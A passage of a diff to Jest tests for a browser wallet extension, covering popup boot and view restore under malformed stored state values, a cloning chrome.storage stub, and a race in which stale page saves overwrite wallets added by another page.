||||||
|
);
|
||||||
|
expect({
|
||||||
|
value: value,
|
||||||
|
survived: JSON.stringify(out[row.field]),
|
||||||
|
}).toEqual({
|
||||||
|
value: value,
|
||||||
|
survived: JSON.stringify(value),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// --------------------------------------------- driving the real popup boot
|
||||||
|
|
||||||
|
// A booted popup is healthy when nothing threw out of init() and something is
|
||||||
|
// on screen. A throw out of restoreView() is neither: init() does not guard it,
|
||||||
|
// so the rest of popup init never runs and the user gets a popup with no view,
|
||||||
|
// no message and no control on it.
|
||||||
|
async function bootHealth(profile) {
|
||||||
|
const env = await bootPopup(profile);
|
||||||
|
return {
|
||||||
|
errors: env.pageErrors,
|
||||||
|
blank: env.visibleViews().length === 0,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
const HEALTHY = { errors: [], blank: false };
|
||||||
|
|
||||||
|
// unversionedValidProfile() stores no currentView, so every boot in here lands
|
||||||
|
// on Home. That is the cheap half of the proof; the restore path below is the
|
||||||
|
// half that matters.
|
||||||
|
// Both polarities of every swept field are driven, or the field is proven
|
||||||
|
// unable to take one of them. This is the guard on the sweep itself: a hostile
|
||||||
|
// set is all-truthy by construction, so without a falsy slot a dereference
|
||||||
|
// behind `if (!state.x)` is never reached on the boot that corrupts x — the
|
||||||
|
// same falsy-collapse blind spot the fields below were floored for.
|
||||||
|
describe("both polarities of every swept field are driven", () => {
|
||||||
|
const FALSY_STORED = [0, "", false, null];
|
||||||
|
const floored = (field, value) =>
|
||||||
|
normalizePersisted(profileWith(field, value))[field];
|
||||||
|
|
||||||
|
for (const row of CONTRACT) {
|
||||||
|
if (!swept(row)) continue;
|
||||||
|
|
||||||
|
if (row.neverFalsy) {
|
||||||
|
test(`${row.field}: cannot be falsy in state at all`, () => {
|
||||||
|
for (const value of FALSY_STORED) {
|
||||||
|
expect({
|
||||||
|
stored: value,
|
||||||
|
truthy: Boolean(floored(row.field, value)),
|
||||||
|
}).toEqual({ stored: value, truthy: true });
|
||||||
|
}
|
||||||
|
});
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
test(`${row.field}: truthy and falsy`, () => {
|
||||||
|
// What the boots below actually drive, floored the way a renderer
|
||||||
|
// sees it — not what the row says it drives.
|
||||||
|
const driven = polarityValues(row).map((value) =>
|
||||||
|
floored(row.field, value),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect({
|
||||||
|
truthy: driven.some((value) => Boolean(value)),
|
||||||
|
falsy: driven.some((value) => !value),
|
||||||
|
}).toEqual({ truthy: true, falsy: true });
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("a hostile value for one field, booting onto Home", () => {
|
||||||
|
for (const row of CONTRACT) {
|
||||||
|
for (const value of sweptValues(row)) {
|
||||||
|
test(`${row.field} = ${JSON.stringify(value)}`, async () => {
|
||||||
|
await expect(
|
||||||
|
bootHealth(profileWith(row.field, value)),
|
||||||
|
).resolves.toEqual(HEALTHY);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("a row's extra proof against the real reader", () => {
|
||||||
|
for (const row of CONTRACT) {
|
||||||
|
if (!row.alsoProven) continue;
|
||||||
|
test(row.field, () => {
|
||||||
|
for (const value of row.hostile) {
|
||||||
|
const out = normalizePersisted(profileWith(row.field, value));
|
||||||
|
row.alsoProven(out[row.field], value);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// ------------------------------------------------ driving the restore path
|
||||||
|
|
||||||
|
// Everything above lands on Home. Home is not where this class of defect
|
||||||
|
// lives: all three of the false claims this file replaced were falsified by a
|
||||||
|
// RESTORE, through the unguarded restoreView() in src/popup/index.js. So a
|
||||||
|
// swept row's hostile values are driven onto EVERY restorable view, one boot
|
||||||
|
// each.
|
||||||
|
//
|
||||||
|
// This is what makes a LOOSE row falsifiable. A field that gains a structural
|
||||||
|
// dereference on any restorable view — `state.theme.toLowerCase()` in a view's
|
||||||
|
// show(), say — turns the row red here, instead of waiting for a reviewer to
|
||||||
|
// re-derive the claim by hand.
|
||||||
|
|
||||||
|
// restoreWait() resumes from this, so it has to be a finite number and recent
|
||||||
|
// enough that the resumed deadline has not already passed — a wait that has
|
||||||
|
// outlived its deadline resolves on the first poll instead of staying on
|
||||||
|
// screen. Read once at module load, so every boot in one run shares it.
|
||||||
|
const BROADCAST_TIME = Date.now();
|
||||||
|
|
||||||
|
// A viewData well formed for every restorable branch at once, so the only
|
||||||
|
// thing a swept boot can fail on is the field the row corrupts. "the base
|
||||||
|
// profile the sweep corrupts" below proves this really does render each view
|
||||||
|
// rather than falling back — without that, a sweep could pass by never
|
||||||
|
// reaching a renderer at all.
|
||||||
|
const WELL_FORMED_DATA = {
|
||||||
|
hash: "0x1",
|
||||||
|
message: "boom",
|
||||||
|
to: ADDRESS,
|
||||||
|
decoded: { details: [{ address: TOKEN_ADDRESS }] },
|
||||||
|
tx: { hash: "0x1", from: ADDRESS, to: ADDRESS, contractAddress: null },
|
||||||
|
pendingTx: {
|
||||||
|
token: "ETH",
|
||||||
|
from: ADDRESS,
|
||||||
|
to: ADDRESS,
|
||||||
|
amount: "1",
|
||||||
|
balance: "2",
|
||||||
|
},
|
||||||
|
pendingWait: {
|
||||||
|
hash: "0x1",
|
||||||
|
txInfo: { to: ADDRESS, amount: "1" },
|
||||||
|
broadcastTime: BROADCAST_TIME,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
function restoringOnto(view, extra) {
|
||||||
|
return unversionedValidProfile({
|
||||||
|
currentView: view,
|
||||||
|
selectedWallet: 0,
|
||||||
|
selectedAddress: 0,
|
||||||
|
selectedToken: TOKEN_ADDRESS,
|
||||||
|
viewStack: ["main"],
|
||||||
|
viewData: WELL_FORMED_DATA,
|
||||||
|
...extra,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// A boot that RESTORED is healthy and landed on the view it stored, rather
|
||||||
|
// than falling back to Home — which a healthy boot also does, and which would
|
||||||
|
// let a sweep pass by never running the renderer it is aimed at.
|
||||||
|
async function restoredHealth(profile, view) {
|
||||||
|
const env = await bootPopup(profile);
|
||||||
|
return {
|
||||||
|
errors: env.pageErrors,
|
||||||
|
restored: env.visibleViews().includes(view),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
const RESTORED = { errors: [], restored: true };
|
||||||
|
|
||||||
|
describe("the base profile the sweep corrupts", () => {
|
||||||
|
for (const view of RESTORABLE_VIEWS) {
|
||||||
|
test(`renders ${view} rather than falling back`, async () => {
|
||||||
|
await expect(
|
||||||
|
restoredHealth(restoringOnto(view), view),
|
||||||
|
).resolves.toEqual(RESTORED);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// A field the ROUTER itself reads — the two it gates on and the two
|
||||||
|
// hasValidAddress() indexes with. A hostile value in one of these legitimately
|
||||||
|
// changes which view renders, so each gets its own boot per view and is held
|
||||||
|
// only to "healthy", not to "restored onto the view it stored".
|
||||||
|
const routes = (row) => Boolean(row.routes);
|
||||||
|
|
||||||
|
// Every routing row × every hostile value × every restorable view. Profiles
|
||||||
|
// are deduplicated because a hostile `currentView` REPLACES the view being
|
||||||
|
// restored onto, which would otherwise be the same boot eleven times.
|
||||||
|
describe("a hostile routing value restoring onto", () => {
|
||||||
|
for (const row of CONTRACT) {
|
||||||
|
if (!swept(row) || !routes(row)) continue;
|
||||||
|
const seen = new Set();
|
||||||
|
for (const value of sweptValues(row)) {
|
||||||
|
for (const view of RESTORABLE_VIEWS) {
|
||||||
|
const profile = restoringOnto(view, { [row.field]: value });
|
||||||
|
const key = JSON.stringify(profile);
|
||||||
|
if (seen.has(key)) continue;
|
||||||
|
seen.add(key);
|
||||||
|
test(`${view}: ${row.field} = ${JSON.stringify(
|
||||||
|
value,
|
||||||
|
)}`, async () => {
|
||||||
|
await expect(bootHealth(profile)).resolves.toEqual(HEALTHY);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Every OTHER swept field, corrupted at once, one boot per view per hostile
|
||||||
|
// slot: twelve fields on one boot rather than twelve boots. A field is only in
|
||||||
|
// here because it is not one the router reads — and that is ASSERTED, not
|
||||||
|
// argued, because the boot has to land on `view`. A field that does move the
|
||||||
|
// routing turns this red and has to declare `routes` and take the individual
|
||||||
|
// sweep above.
|
||||||
|
//
|
||||||
|
// Combining hides one thing, and the last slot is what stops it. A hostile
|
||||||
|
// value is wrong-typed and therefore TRUTHY, so on a boot where every swept
|
||||||
|
// field is hostile, no `if (!state.x)` branch is entered — and a dereference
|
||||||
|
// inside such a branch would go unseen however loudly it throws. The last slot
|
||||||
|
// is the falsy one: every swept field that CAN be falsy is falsy on it, which
|
||||||
|
// is also the state an ordinary install boots in for three of them, while the
|
||||||
|
// fields that cannot be falsy stay hostile-truthy. That makes it a MIX, and a
|
||||||
|
// deliberate one — the interaction between a falsy flag and a still-hostile
|
||||||
|
// theme is a shape a stored record really produces.
|
||||||
|
//
|
||||||
|
// The verdict is the combined boot, always. When it goes red the same view is
|
||||||
|
// re-booted one field at a time, so the failure NAMES a culprit instead of
|
||||||
|
// leaving a reader to bisect twelve fields — but that loop only decorates the
|
||||||
|
// message. It cannot clear the failure. A dereference that needs two corrupted
|
||||||
|
// fields at once is reproduced by neither field alone, and a version of this
|
||||||
|
// file that asserted on the named list reported exactly that case green while
|
||||||
|
// watching the popup die.
|
||||||
|
const UNROUTED = CONTRACT.filter((row) => swept(row) && !routes(row));
|
||||||
|
const HOSTILE_SLOTS = Math.max(
|
||||||
|
...UNROUTED.map((row) => sweptValues(row).length),
|
||||||
|
);
|
||||||
|
|
||||||
|
function unroutedValues(slot) {
|
||||||
|
const fields = {};
|
||||||
|
for (const row of UNROUTED) {
|
||||||
|
const values = sweptValues(row);
|
||||||
|
fields[row.field] = values[slot % values.length];
|
||||||
|
}
|
||||||
|
return fields;
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("every field the router does not read, corrupted at once, onto", () => {
|
||||||
|
for (const view of RESTORABLE_VIEWS) {
|
||||||
|
for (let slot = 0; slot < HOSTILE_SLOTS; slot++) {
|
||||||
|
test(`${view}: hostile value ${slot + 1} in all ${
|
||||||
|
UNROUTED.length
|
||||||
|
} of them`, async () => {
|
||||||
|
const fields = unroutedValues(slot);
|
||||||
|
const together = await restoredHealth(
|
||||||
|
restoringOnto(view, fields),
|
||||||
|
view,
|
||||||
|
);
|
||||||
|
|
||||||
|
// The per-field re-boot only DECORATES the message. The
|
||||||
|
// verdict is `together`, unconditionally: a dereference that
|
||||||
|
// needs two corrupted fields at once is reproduced by NEITHER
|
||||||
|
// field alone, so an assertion on the named list would report
|
||||||
|
// an observed dead popup as green.
|
||||||
|
const named = [];
|
||||||
|
if (together.errors.length > 0 || !together.restored) {
|
||||||
|
for (const row of UNROUTED) {
|
||||||
|
const one = await restoredHealth(
|
||||||
|
restoringOnto(view, {
|
||||||
|
[row.field]: fields[row.field],
|
||||||
|
}),
|
||||||
|
view,
|
||||||
|
);
|
||||||
|
if (one.errors.length === 0 && one.restored) continue;
|
||||||
|
named.push(
|
||||||
|
`${row.field}=${JSON.stringify(
|
||||||
|
fields[row.field],
|
||||||
|
)}: ` +
|
||||||
|
(one.errors.join("; ") || `fell off ${view}`),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
if (named.length === 0) {
|
||||||
|
named.push(
|
||||||
|
"no single field reproduces it; it takes two or " +
|
||||||
|
`more of ${JSON.stringify(fields)}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
expect({
|
||||||
|
view: view,
|
||||||
|
together: together,
|
||||||
|
fields: named,
|
||||||
|
}).toEqual({ view: view, together: RESTORED, fields: [] });
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// The values that only mean something on the restore path: a viewData that
|
||||||
|
// PASSES a branch's gate and then hands its renderer something dereferenced,
|
||||||
|
// and the index values whose route through hasValidAddress() differs from the
|
||||||
|
// row's own hostile set.
|
||||||
|
describe("a restore-only hostile value onto", () => {
|
||||||
|
for (const row of CONTRACT) {
|
||||||
|
for (const entry of row.hostileRestore || []) {
|
||||||
|
for (const view of entry.views || RESTORABLE_VIEWS) {
|
||||||
|
test(`${view}: ${row.field} = ${JSON.stringify(
|
||||||
|
entry.value,
|
||||||
|
)}`, async () => {
|
||||||
|
await expect(
|
||||||
|
bootHealth(
|
||||||
|
restoringOnto(view, { [row.field]: entry.value }),
|
||||||
|
),
|
||||||
|
).resolves.toEqual(HEALTHY);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
@@ -35,6 +35,11 @@ const POPUP_HTML_PATH = path.join(POPUP_DIR, "index.html");
|
|||||||
const RUNTIME_CREATED_IDS = new Set([
|
const RUNTIME_CREATED_IDS = new Set([
|
||||||
// Created by updateDebugBanner() in src/popup/views/helpers.js.
|
// Created by updateDebugBanner() in src/popup/views/helpers.js.
|
||||||
"debug-banner",
|
"debug-banner",
|
||||||
|
// Created by showSaveFailureBanner() in the same file, on the first save
|
||||||
|
// that fails. Absent from the markup on purpose: a popup where nothing has
|
||||||
|
// failed must not have to carry an empty banner
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/362).
|
||||||
|
"save-failure-banner",
|
||||||
]);
|
]);
|
||||||
|
|
||||||
// Every id lookup the popup performs with a literal argument, as
|
// Every id lookup the popup performs with a literal argument, as
|
||||||
|
|||||||
@@ -9,6 +9,8 @@
|
|||||||
const fs = require("fs");
|
const fs = require("fs");
|
||||||
const path = require("path");
|
const path = require("path");
|
||||||
|
|
||||||
|
const { makeStorageStub } = require("./support/storageStub");
|
||||||
|
|
||||||
const POPUP_HTML = fs.readFileSync(
|
const POPUP_HTML = fs.readFileSync(
|
||||||
path.join(__dirname, "..", "src", "popup", "index.html"),
|
path.join(__dirname, "..", "src", "popup", "index.html"),
|
||||||
"utf8",
|
"utf8",
|
||||||
@@ -51,19 +53,17 @@ describe("the UTC Timestamps checkbox placement", () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
describe("the UTC Timestamps setting round-trips through storage", () => {
|
describe("the UTC Timestamps setting round-trips through storage", () => {
|
||||||
let store;
|
let storage;
|
||||||
|
|
||||||
|
// The stub clones in both directions, as the real chrome.storage.local
|
||||||
|
// does. It used to alias, which is fatal to a round-trip test in
|
||||||
|
// particular: the object the module holds and the object "storage" holds
|
||||||
|
// are then the same object, so the setting appears to have been persisted
|
||||||
|
// and read back on a build where neither happened. See
|
||||||
|
// tests/support/storageStub.js.
|
||||||
function loadStateModule() {
|
function loadStateModule() {
|
||||||
store = {};
|
storage = makeStorageStub();
|
||||||
global.chrome = {
|
global.chrome = { storage };
|
||||||
storage: {
|
|
||||||
local: {
|
|
||||||
get: async (key) =>
|
|
||||||
key in store ? { [key]: store[key] } : {},
|
|
||||||
set: async (obj) => Object.assign(store, obj),
|
|
||||||
},
|
|
||||||
},
|
|
||||||
};
|
|
||||||
jest.resetModules();
|
jest.resetModules();
|
||||||
return require("../src/shared/state");
|
return require("../src/shared/state");
|
||||||
}
|
}
|
||||||
@@ -86,12 +86,18 @@ describe("the UTC Timestamps setting round-trips through storage", () => {
|
|||||||
// What the change handler in views/settings.js does.
|
// What the change handler in views/settings.js does.
|
||||||
first.state.utcTimestamps = true;
|
first.state.utcTimestamps = true;
|
||||||
await first.saveState();
|
await first.saveState();
|
||||||
expect(store.autistmask.utcTimestamps).toBe(true);
|
expect(storage.read("autistmask").utcTimestamps).toBe(true);
|
||||||
|
|
||||||
// A fresh popup load sees it.
|
// A fresh popup load sees it — and, before that load, refuses to
|
||||||
|
// answer at all rather than reporting the default. That refusal is
|
||||||
|
// what makes the assertion below evidence of a read from storage
|
||||||
|
// instead of a value that was already sitting in memory
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/324).
|
||||||
jest.resetModules();
|
jest.resetModules();
|
||||||
const second = require("../src/shared/state");
|
const second = require("../src/shared/state");
|
||||||
expect(second.state.utcTimestamps).toBe(false);
|
expect(() => second.state.utcTimestamps).toThrow(
|
||||||
|
second.StateNotLoadedError,
|
||||||
|
);
|
||||||
await second.loadState();
|
await second.loadState();
|
||||||
expect(second.state.utcTimestamps).toBe(true);
|
expect(second.state.utcTimestamps).toBe(true);
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ const fs = require("fs");
|
|||||||
const path = require("path");
|
const path = require("path");
|
||||||
|
|
||||||
const { walletHasRecoveryPhrase } = require("../src/shared/wallet");
|
const { walletHasRecoveryPhrase } = require("../src/shared/wallet");
|
||||||
const { RESTORABLE_VIEWS } = require("../src/popup/restorableViews");
|
const { RESTORABLE_VIEWS } = require("../src/shared/restorableViews");
|
||||||
|
|
||||||
const SHOW_PHRASE_VIEW = "show-phrase";
|
const SHOW_PHRASE_VIEW = "show-phrase";
|
||||||
|
|
||||||
|
|||||||
@@ -1,26 +1,37 @@
|
|||||||
const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
|
const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
|
||||||
|
|
||||||
|
// Address RECORDS, not bare address strings. A stored profile is validated
|
||||||
|
// against the schema on every read now (src/shared/stateSchema.js), and a bare
|
||||||
|
// string where an address record belongs is one of the shapes that refuses to
|
||||||
|
// load — as it should, since every screen dereferences addr.address.
|
||||||
function oneWallet() {
|
function oneWallet() {
|
||||||
return [{ name: "Wallet 1", type: "hd", addresses: [ADDRESS] }];
|
return [
|
||||||
|
{
|
||||||
|
name: "Wallet 1",
|
||||||
|
type: "hd",
|
||||||
|
addresses: [{ address: ADDRESS, balance: "0", tokenBalances: [] }],
|
||||||
|
},
|
||||||
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const { makeStorageStub } = require("./support/storageStub");
|
||||||
|
|
||||||
// state.js resolves the storage API at require time, so the stub has to exist
|
// state.js resolves the storage API at require time, so the stub has to exist
|
||||||
// before the module is loaded, and the module registry has to be reset between
|
// before the module is loaded, and the module registry has to be reset between
|
||||||
// cases because `state` is a module-level singleton.
|
// cases because `state` is a module-level singleton.
|
||||||
|
//
|
||||||
|
// The stub clones in both directions, as the real chrome.storage.local does —
|
||||||
|
// see tests/support/storageStub.js for why an aliasing one made this file
|
||||||
|
// assert less than it appears to.
|
||||||
function loadModuleWith(persisted) {
|
function loadModuleWith(persisted) {
|
||||||
jest.resetModules();
|
jest.resetModules();
|
||||||
const set = jest.fn(async () => {});
|
const storage = makeStorageStub(persisted ? { autistmask: persisted } : {});
|
||||||
global.chrome = {
|
global.chrome = { storage };
|
||||||
storage: {
|
return {
|
||||||
local: {
|
mod: require("../src/shared/state"),
|
||||||
get: jest.fn(async () =>
|
set: storage.set,
|
||||||
persisted ? { autistmask: persisted } : {},
|
stored: () => storage.read("autistmask"),
|
||||||
),
|
|
||||||
set,
|
|
||||||
},
|
|
||||||
},
|
|
||||||
};
|
};
|
||||||
return { mod: require("../src/shared/state"), set };
|
|
||||||
}
|
}
|
||||||
|
|
||||||
afterEach(() => {
|
afterEach(() => {
|
||||||
|
|||||||
423
tests/stateMerge.test.js
Normal file
423
tests/stateMerge.test.js
Normal file
@@ -0,0 +1,423 @@
|
|||||||
|
// saveState() used to write the entire state blob every time
|
||||||
|
// (src/shared/state.js). Every extension page — the toolbar popup, a dApp
|
||||||
|
// approval window opened by the background, backgroundRefresh() in
|
||||||
|
// src/background/index.js — holds its own in-memory `state`, loaded once,
|
||||||
|
// and src/popup/views/helpers.js showView() saves on EVERY navigation. So
|
||||||
|
// any second page that saved after a first page had written something new
|
||||||
|
// overwrote it, with no attacker and no unusual input: a whole wallet, name,
|
||||||
|
// addresses and encrypted secret included, silently gone
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/304).
|
||||||
|
//
|
||||||
|
// Both cases below drive the real state.js module through two independent
|
||||||
|
// module registries sharing one storage backend, the way two real extension
|
||||||
|
// pages share one chrome.storage.local. The shared stub structured-clones on
|
||||||
|
// both get and set — a stub that hands back the object it was given aliases
|
||||||
|
// the caller's own mutation and would make this entire defect class invisible
|
||||||
|
// (see https://git.eeqj.de/sneak/AutistMask/issues/324).
|
||||||
|
|
||||||
|
const { makeStorageStub } = require("./support/storageStub");
|
||||||
|
|
||||||
|
// One extension page: a fresh module registry over the shared storage.
|
||||||
|
// state.js resolves the storage API at require time, so the stub has to be
|
||||||
|
// installed before the module is loaded, and `state` is a module-level
|
||||||
|
// singleton, so each page needs its own registry to hold its own copy.
|
||||||
|
function loadPage(storage) {
|
||||||
|
jest.resetModules();
|
||||||
|
globalThis.chrome = { storage: { local: storage.local } };
|
||||||
|
return {
|
||||||
|
state: require("../src/shared/state"),
|
||||||
|
helpers: require("../src/popup/views/helpers"),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function wallet(name, secret, address) {
|
||||||
|
return {
|
||||||
|
type: "hd",
|
||||||
|
name,
|
||||||
|
xpub: "xpub-" + name,
|
||||||
|
encryptedSecret: secret,
|
||||||
|
nextIndex: 1,
|
||||||
|
addresses: [{ address, balance: "0", tokenBalances: [] }],
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
const W1 = wallet(
|
||||||
|
"Wallet 1",
|
||||||
|
"secret-one",
|
||||||
|
"0x66133E8ea0f5D1d612D2502a968757D1048c214a",
|
||||||
|
);
|
||||||
|
const W2 = wallet(
|
||||||
|
"Wallet 2",
|
||||||
|
"secret-two",
|
||||||
|
"0xdAC17F958D2ee523a2206206994597C13D831ec7",
|
||||||
|
);
|
||||||
|
|
||||||
|
// Minimal DOM: showView() toggles view elements, clears the flash line and
|
||||||
|
// creates/removes the debug banner. Nothing here is asserted; it only has to
|
||||||
|
// answer without throwing, the way the popup's own index.html would.
|
||||||
|
function makeElement(id) {
|
||||||
|
const classes = new Set();
|
||||||
|
return {
|
||||||
|
id,
|
||||||
|
textContent: "",
|
||||||
|
style: {},
|
||||||
|
classList: {
|
||||||
|
add: (...n) => n.forEach((c) => classes.add(c)),
|
||||||
|
remove: (...n) => n.forEach((c) => classes.delete(c)),
|
||||||
|
toggle: (c, force) => {
|
||||||
|
const on = force === undefined ? !classes.has(c) : force;
|
||||||
|
if (on) classes.add(c);
|
||||||
|
else classes.delete(c);
|
||||||
|
return on;
|
||||||
|
},
|
||||||
|
},
|
||||||
|
remove: () => {},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function makeDocument() {
|
||||||
|
const els = new Map();
|
||||||
|
return {
|
||||||
|
getElementById(id) {
|
||||||
|
if (id === "debug-banner") return null;
|
||||||
|
if (!els.has(id)) els.set(id, makeElement(id));
|
||||||
|
return els.get(id);
|
||||||
|
},
|
||||||
|
createElement: () => makeElement("created"),
|
||||||
|
body: { prepend: () => {} },
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
delete globalThis.chrome;
|
||||||
|
delete globalThis.document;
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("a save from a page that never saw a wallet another page added", () => {
|
||||||
|
// The first DoD case on the issue: add a wallet in one page, then force
|
||||||
|
// a save from a second page loaded before that wallet existed. Both
|
||||||
|
// wallets must survive.
|
||||||
|
test("both wallets are in storage afterwards", async () => {
|
||||||
|
const storage = makeStorageStub();
|
||||||
|
await storage.set({ autistmask: { wallets: [W1] } });
|
||||||
|
|
||||||
|
// Loaded while storage held only Wallet 1, and never reloads —
|
||||||
|
// the approval window in the reproduction, or a second popup that
|
||||||
|
// has been open for a while.
|
||||||
|
const stale = loadPage(storage);
|
||||||
|
await stale.state.loadState();
|
||||||
|
expect(stale.state.state.wallets).toHaveLength(1);
|
||||||
|
|
||||||
|
// A second page, loaded after, adds a wallet — the exact sequence
|
||||||
|
// src/popup/views/addWallet.js uses.
|
||||||
|
const fresh = loadPage(storage);
|
||||||
|
await fresh.state.loadState();
|
||||||
|
fresh.state.state.wallets.push(W2);
|
||||||
|
fresh.state.state.hasWallet = true;
|
||||||
|
await fresh.state.saveState();
|
||||||
|
|
||||||
|
expect(
|
||||||
|
(await storage.get("autistmask")).autistmask.wallets,
|
||||||
|
).toHaveLength(2);
|
||||||
|
|
||||||
|
// The stale page saves something that has nothing to do with
|
||||||
|
// wallets — exactly what showView() does on every navigation, and
|
||||||
|
// what backgroundRefresh() does after a balance poll.
|
||||||
|
stale.state.state.currentView = "settings";
|
||||||
|
await stale.state.saveState();
|
||||||
|
|
||||||
|
const persisted = (await storage.get("autistmask")).autistmask;
|
||||||
|
expect(persisted.wallets.map((w) => w.name)).toEqual([
|
||||||
|
"Wallet 1",
|
||||||
|
"Wallet 2",
|
||||||
|
]);
|
||||||
|
expect(persisted.wallets.map((w) => w.encryptedSecret)).toEqual([
|
||||||
|
"secret-one",
|
||||||
|
"secret-two",
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("the approval-window reproduction", () => {
|
||||||
|
// approval window open, add a wallet in the popup, confirm the approval
|
||||||
|
// — the exact sequence from the issue. The approval window and the
|
||||||
|
// popup are the same popup code with a different starting view, so
|
||||||
|
// showView() is the real save path in both: src/popup/views/approval.js
|
||||||
|
// showTxApproval() calls showView("approve-tx") when the window opens,
|
||||||
|
// and a successful confirm calls
|
||||||
|
// src/popup/views/txStatus.js showWait() -> startWait(), which calls
|
||||||
|
// showView("wait-tx") — the save that clobbered the second wallet in
|
||||||
|
// the reproduction on the issue.
|
||||||
|
test("the wallet added in the popup survives confirming the approval", async () => {
|
||||||
|
globalThis.document = makeDocument();
|
||||||
|
|
||||||
|
const storage = makeStorageStub();
|
||||||
|
await storage.set({ autistmask: { wallets: [W1] } });
|
||||||
|
|
||||||
|
// The background opens the approval window on the approve-tx
|
||||||
|
// screen; nothing else has happened yet.
|
||||||
|
const approvalWindow = loadPage(storage);
|
||||||
|
await approvalWindow.state.loadState();
|
||||||
|
approvalWindow.helpers.showView("approve-tx");
|
||||||
|
// showView() does not await its own saveState(); an extra save
|
||||||
|
// joins the same queue and only resolves once that one has too,
|
||||||
|
// which is the black-box way to know it landed.
|
||||||
|
await approvalWindow.state.saveState();
|
||||||
|
|
||||||
|
// The user adds a wallet in the popup — a separate page, loaded
|
||||||
|
// after the approval window.
|
||||||
|
const popup = loadPage(storage);
|
||||||
|
await popup.state.loadState();
|
||||||
|
popup.state.state.wallets.push(W2);
|
||||||
|
popup.state.state.hasWallet = true;
|
||||||
|
await popup.state.saveState();
|
||||||
|
expect(
|
||||||
|
(await storage.get("autistmask")).autistmask.wallets,
|
||||||
|
).toHaveLength(2);
|
||||||
|
|
||||||
|
// The user confirms the approval. The approval window navigates
|
||||||
|
// approve-tx -> wait-tx, saving again from state it loaded before
|
||||||
|
// Wallet 2 ever existed.
|
||||||
|
approvalWindow.helpers.showView("wait-tx");
|
||||||
|
await approvalWindow.state.saveState();
|
||||||
|
|
||||||
|
const persisted = (await storage.get("autistmask")).autistmask;
|
||||||
|
expect(persisted.wallets.map((w) => w.name)).toEqual([
|
||||||
|
"Wallet 1",
|
||||||
|
"Wallet 2",
|
||||||
|
]);
|
||||||
|
expect(persisted.wallets.map((w) => w.encryptedSecret)).toEqual([
|
||||||
|
"secret-one",
|
||||||
|
"secret-two",
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// backgroundRefresh() (src/background/index.js) loads state, spends seconds
|
||||||
|
// on network I/O in refreshBalances() (src/shared/balances.js) mutating
|
||||||
|
// addr.balance/ensName/tokenBalances IN PLACE on the wallets it already
|
||||||
|
// knew about, then saves. Precondition 2 on the issue: that refresh window
|
||||||
|
// overlapping a membership change (add or delete) on another page must not
|
||||||
|
// clobber or resurrect a wallet — a whole-field diff on `wallets` failed
|
||||||
|
// this, because "background changed a balance" and "another page changed
|
||||||
|
// membership" collided as the same field.
|
||||||
|
describe("background refresh racing a wallet added on another page", () => {
|
||||||
|
test("the wallet added elsewhere survives background's stale balance save", async () => {
|
||||||
|
const storage = makeStorageStub();
|
||||||
|
await storage.set({ autistmask: { wallets: [W1] } });
|
||||||
|
|
||||||
|
// "background": loads first, and its save is the one that lands
|
||||||
|
// last, modeling the multi-second network round trip in between.
|
||||||
|
const background = loadPage(storage);
|
||||||
|
await background.state.loadState();
|
||||||
|
background.state.state.wallets[0].addresses[0].balance = "1.2345";
|
||||||
|
|
||||||
|
// A second page, loaded after, adds a wallet while background's
|
||||||
|
// refresh is still in flight.
|
||||||
|
const popup = loadPage(storage);
|
||||||
|
await popup.state.loadState();
|
||||||
|
popup.state.state.wallets.push(W2);
|
||||||
|
popup.state.state.hasWallet = true;
|
||||||
|
await popup.state.saveState();
|
||||||
|
expect(
|
||||||
|
(await storage.get("autistmask")).autistmask.wallets,
|
||||||
|
).toHaveLength(2);
|
||||||
|
|
||||||
|
// background's save lands last, carrying only its balance update.
|
||||||
|
await background.state.saveState();
|
||||||
|
|
||||||
|
const persisted = (await storage.get("autistmask")).autistmask;
|
||||||
|
expect(persisted.wallets.map((w) => w.name)).toEqual([
|
||||||
|
"Wallet 1",
|
||||||
|
"Wallet 2",
|
||||||
|
]);
|
||||||
|
expect(persisted.wallets.map((w) => w.encryptedSecret)).toEqual([
|
||||||
|
"secret-one",
|
||||||
|
"secret-two",
|
||||||
|
]);
|
||||||
|
